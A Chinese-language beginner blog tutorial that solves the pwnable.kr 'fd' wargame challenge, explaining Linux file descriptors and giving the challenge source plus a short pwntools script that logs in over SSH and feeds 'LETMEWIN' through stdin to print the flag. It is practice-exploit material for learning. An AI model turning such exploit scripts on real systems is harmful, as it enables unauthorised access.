1. 程式人生 > >從pwnable.kr 入門pwn系列教程(1)

從pwnable.kr 入門pwn系列教程(1)

前言:

前段時間學了一段時間pwn,因為某些事斷了下來,現在開始重新學習,現在立志要真正入門pwn,會編寫漏洞利用(利用pwntools),會基本linux命令,因為pwn題目很多都是在linux下的,比較少在windows下。

正文:

今天通過pwnable.kr的第一道題目fd來學習pwn

題目就是這樣,題目最下方有個ssh命令,這是linux的遠端連線命令,(host=pwnable.kr , user =fd  password=2222 password=guest)為什麼這麼寫等會你們就知道了,可以開啟linux終端,直接輸入那行命令進行連線ssh [email protected] -p2222

輸入那行命令後輸入密碼,有時候會提示安全性問題,選擇Y(yes),輸入密碼,輸入密碼的時候是不會回顯的(顯示在螢幕上)

密碼為guest,然後ls(ls命令學習) 檢視有什麼檔案,然後輸入cat  fd.c 檢視fd.c的檔案內容,

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char buf[32];
int main(int argc, char* argv[], char* envp[]){
	if(argc<2){
		printf("pass argv[1] a number\n");
		return 0;
	}
	int fd = atoi( argv[1] ) - 0x1234;
	int len = 0;
	len = read(fd, buf, 32);//關鍵點
	if(!strcmp("LETMEWIN\n", buf)){
		printf("good job :)\n");
		system("/bin/cat flag");
		exit(0);
	}
	printf("learn about Linux file IO\n");
	return 0;

}

這裡需要補一下知識,檔案描述符,百度搜索一下可以查到

0為標準輸入,1為標準輸出,2為標準錯誤,而我們看到read(fd, buf, 32);//關鍵點,這裡fd便是關鍵,若為0,我們自己輸入後,變成功得到flag,所以,我們就要推回去,怎麼讓fd為0,也就是atoi(argv[1])大小為0x1234(atoi是c語言的將字串轉化為數字,假設字串為str =1234,他會轉化為數字int=1234),而0x1234是16進位制的,用計算器轉換下為4660,也就是說我們要使argv[1]為4660,好,整個思路理清了,接下來便是怎麼利用了

#!/usr/bin/env python                                                       
  2 # coding=utf-8
  3 from pwn import *
  4 pwn_ssh=ssh(host='pwnable.kr',user='fd',password='guest',port=2222)#遠端連線
  5 print(pwn_ssh.connected())#連線成功判斷
  6 sh=pwn_ssh.process(argv=['fd','4660'],executable='./fd')#載入程序
  7 sh.sendline('LETMEWIN')#傳送一行資料,在末尾加上\n
  8 print(sh.recvall())#接受到EOF

這是我模仿別人的pwn程式碼寫的註釋,方便新手看,我也是新手,苦於找不到方法學pwn的漏洞利用,程式碼風格自選

學著別人寫exploit,以後應該就會了,都是模仿開始的